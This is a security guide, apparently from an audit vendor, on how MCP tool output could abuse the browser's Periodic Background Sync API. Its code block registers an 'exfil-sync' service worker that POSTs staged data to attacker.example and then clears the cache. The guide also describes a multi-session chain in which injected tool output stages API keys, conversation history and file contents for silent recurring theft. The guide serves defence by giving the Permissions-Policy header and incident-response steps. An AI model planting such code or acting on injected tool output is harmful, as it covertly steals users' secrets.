Security Guide
MCP server Periodic Background Sync security — scheduled exfiltration without an open tab, no-tab code execution, and stealth recurring sync
The Periodic Background Sync API allows a registered service worker to be awakened by the browser on a recurring schedule — even when no browser tab is open — to run background network sync tasks. MCP server tool output that can register a service worker and call registration.periodicSync.register() schedules recurring code execution that fires on a daily or weekly interval completely independently of user activity. Data staged in prior MCP sessions can be exfiltrated silently, with no visible UI indicator, even when the user has not opened the MCP client since the injection. Permissions-Policy: periodic-background-sync=() is the direct control.
How Periodic Background Sync works
The Periodic Background Sync API extends the Background Sync API to support time-based, recurring triggers. Where Background Sync fires once when the device regains connectivity, Periodic Background Sync fires on a minimum interval cadence set by the registering code. The browser respects the minimum interval but may fire less frequently based on site engagement scoring, battery level, and network conditions.
// Registration from the main document (in a click handler or during session init)
// Requires: (1) service worker registered, (2) origin has notification permission
// OR sufficient site engagement score (Chrome grants without explicit permission
// for highly-engaged origins)
const registration = await navigator.serviceWorker.ready;
// Check if the API is available
if ('periodicSync' in registration) {
await registration.periodicSync.register('exfil-sync', {
minInterval: 24 * 60 * 60 * 1000 // minimum 24 hours between fires
// Browser may fire less frequently — Chrome's minimum is ~12 hours
// but attacker sets 24h to avoid triggering anomaly detection
});
}
// In the service worker file:
self.addEventListener('periodicsync', (event) => {
if (event.tag === 'exfil-sync') {
event.waitUntil(async function() {
// Read staged data from Cache API or IndexedDB
// (staged by prior MCP sessions via tool output)
const cache = await caches.open('staged-exfil');
const staged = await cache.match('/payload');
if (!staged) return;
const payload = await staged.json();
// Exfiltrate — no tab is open, user has no idea this is running
await fetch('https://attacker.example/periodic-collect', {
method: 'POST',
body: JSON.stringify(payload),
headers: { 'Content-Type': 'application/json' }
});
// Clean up after successful exfiltration
await cache.delete('/payload');
}());
}
});
Periodic Background Sync is more dangerous than one-shot Background Sync for persistent threat actors. A one-shot Background Sync fires once and clears. A Periodic Sync fires repeatedly — daily, weekly, indefinitely — until explicitly unregistered or site data is cleared. A single successful MCP tool output injection that registers a periodic sync creates an indefinitely-persisting recurring exfiltration schedule.
Permission model: site engagement scoring
Unlike most powerful APIs, Periodic Background Sync does not show a user-visible permission prompt. Chrome uses a "site engagement score" system: origins that users interact with frequently are automatically granted the ability to use Periodic Background Sync. An MCP client that users access daily likely has a high enough engagement score that periodicSync.register() succeeds without any permission prompt at all. The user never sees a dialog.
| API | Permission prompt | Fires without open tab? | Recurring? | User-visible? |
|---|---|---|---|---|
| Background Sync (one-shot) | No prompt — auto-granted | Yes (after tab closes) | No — fires once | No |
| Periodic Background Sync | No prompt — engagement-scored | Yes — fires on schedule | Yes — recurring indefinitely | No |
| Background Fetch | No prompt for fetch; SW registration may need SW permission | Yes — OS network manager | No — fires once per fetch registration | No (after page close) |
| Push Notifications | Yes — explicit prompt | Yes | Server-triggered | Yes — notification shown |
Multi-session staging + periodic exfiltration attack chain
The practical attack combines Periodic Background Sync with data staging across MCP sessions for maximum stealth:
Session 1 (injection): MCP tool output registers a service worker and calls periodicSync.register('exfil-sync', {minInterval: 86400000}). No data is exfiltrated yet — the sync is just registered.
Sessions 2–N (staging): Tool output in subsequent sessions writes valuable data (API keys, conversation history, file contents) to the Cache API in the service worker's cache. No network requests to the attacker are made during these sessions.
Between sessions (exfiltration): The periodic sync fires while the user is not using the MCP client. The service worker reads the staged data, POSTs it to the attacker server, and clears the cache. No tab is open; no user interaction occurs; no browser UI changes.
SkillAudit findings for Periodic Background Sync exposure
Defenses
Permissions-Policy: periodic-background-sync=() — add this header to all MCP client responses. This disables the Periodic Background Sync API for the page and all sub-frames, preventing both registration from the main document and the service worker's ability to receive periodicsync events from that origin.
Permissions-Policy: periodic-background-sync=()
Cross-origin tool rendering: sandboxed cross-origin iframes cannot register service workers at the parent origin's scope, eliminating the primary registration vector.
Incident response: when investigating an MCP security incident, always check periodic sync registrations: DevTools → Application → Service Workers → periodicSync. Unregister all suspicious tags before clearing other site data, or the sync tag survives a cache clear.
Audit your MCP server for Periodic Background Sync and scheduled exfiltration risks
SkillAudit checks for service worker registration vectors, Permissions-Policy headers, and staging-based exfiltration patterns — paste a GitHub URL and get a graded security report in 60 seconds.
Run a free audit →